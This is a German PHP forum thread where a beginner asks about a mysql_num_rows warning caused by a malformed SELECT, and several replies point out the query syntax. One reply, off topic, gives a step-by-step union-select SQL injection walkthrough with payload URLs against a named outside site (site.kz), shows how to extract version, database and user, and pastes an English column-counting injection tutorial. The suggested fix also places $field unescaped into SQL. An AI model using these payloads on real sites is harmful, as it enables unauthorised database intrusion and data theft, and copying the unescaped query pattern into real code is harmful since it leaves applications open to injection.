• Jetzt anmelden. Es dauert nur 2 Minuten und ist kostenlos!

falscher MYSQL befehl? (num_rows)

Status
Für weitere Antworten geschlossen.

MisanthropX

Neues Mitglied
am schluss prüfe ich ob ein eintrag gefunden wurde

Code:
$anymatches = mysql_num_rows($data); 
if ($anymatches == 0) 
{ 
echo "Es wurde kein Eintrag gefunden<br><br>"; 
}
und ich komm irgendwie nicht dahinter und ih kann mir den error code 3 mal und 5 mal durchlesen.. ich kapiers nicht..

Code:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /data/apache/users/kilu.de/nosworld/www/sufu.php on line 40
Es wurde kein Eintrag gefunden


not a valid mysql result resource? o.o d.h. keine gültige mysql ergebnis quell? x.x

falls euch das hilft...
das ist data:
Code:
$data = mysql_query("SELECT * FROM monster WHERE name($field)");
vielen dank im vorraus x.x MisanthropX
 
Das Statement sieht für mich fehlerhaft aus. Wenn das nicht funktioniert hat $data auch keinen Inhalt und kann folglich auch von mysql_num_rows() genutzt werden. Was willst du mit dem Statement erreichen?
 
ich will erreichen dass wenn er 0 einträge gefunden hat schreibt er dass kein eintrag gefunden wurde.. aber anscheinend findet er nicht mal die 0 xD

und dass es fehlerhaft ist weiß ich auch..sonnst würd ich nicht hier posten =P ich bin was mysql angeht relativ frisch ,. hab jedoch einige tuts durchgemacht aber ich werde durch diese fehlermeldung einfach nicht klüger
 
Gib doch einfach die Abfrage direkt bei PhpMyAdmin ein. Dann siehste dochh schon eher, wo das Problem steckt.
Kanns dir aber auch so sagen. Die Abfrage muss so aussehen:

SELECT * FROM monster WHERE name='$field'

Ich kenns zumindestens nur so. Ob es nun an den Klammern lag, kann ich net genau sagen.
 
du hast falsche verbindung gefunden ,ich bin auch anfänger aber ich kan von 5 minuten datebase,user und version finden ,schau mal machst du zur erst so
zechen " wenn fehler ist
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /www/htdocs/kaznpu/function.php on line 16
DAS ist gut für dich dann musst du die spalten raus finden http://www.site.de/index.php? und so weiter wenn am ende keine php ,id für dich geht auch sogar besser am meistens steckt alles in qulletext kannst raus finden so beispiel .so zur erst machst du so http://www.site.kz/kz/?annons=-1+union+select+1,2,3,4,5,6,7,8/*
wieder fehler oder siehst du zahle?wenn fehler oder leere seite ist machst du so weiter
Âåñü WWW-Êàçàõñòàí (Site.KZ) : Êàòàëîã-ðóáðèêàòîð
1,2,3,,4,5,6/*
1,2,3,,4,5/*
und so weiter bis die zahle nicht raus kommt die spalten können bis 15/* oder 100 sein/*wenn die zahle raus gekommen snd beispiel 3, 5 ,6, auf 3 machst du version() weiter datebase() und user() am bestens .
für dich die seite ,,,unen guckst du
Union select column count

A lot of people seem to be asking around for a way to detect the amount of columns needed for a successful 'union select' injection. It might be old news for a lot of people, but others are still wrestling with pure guessing. So here goes nothing ;)

When trying to execute a union select, make sure you are on a mysql 4 or higher server! Union selects will not work on mysql 3 or lower.

O.k. let's take the following news query:
SELECT * FROM `news` WHERE `news_id` = 121

The URL to access this query is: /news.php?news_id=121

So our injection point in this query is: '121'.

Now lets find out if the news_id is injectable
test: /news.php?news_id=121 and 1=1
result needed: success

test: /news.php?news_id=121 and 1=0
result needed: empty page

version 4 or higher?
test: /news.php?news_id=121 and version() >= 4
result needed: success

Now comes the cool part. We know we can order data using column names, but we can also order our result set using column numbers. We can use this knowledge to test the amount of columns used in the query.
 
warum baust du nicht else ein ?<?php
if(hier kommt deine kontrolle rein )
{
echo"er hat was gefunden";
}
else
{
echo "er hat leider nix gefunden ";
}
?>

und wo liegt jetzt dein problem hättest du dein ganzes script
hochgeladen dan hätten wir auch kucken können wo in reihe
40 der fehler is

Gruß JS
 
Status
Für weitere Antworten geschlossen.
Zurück
Oben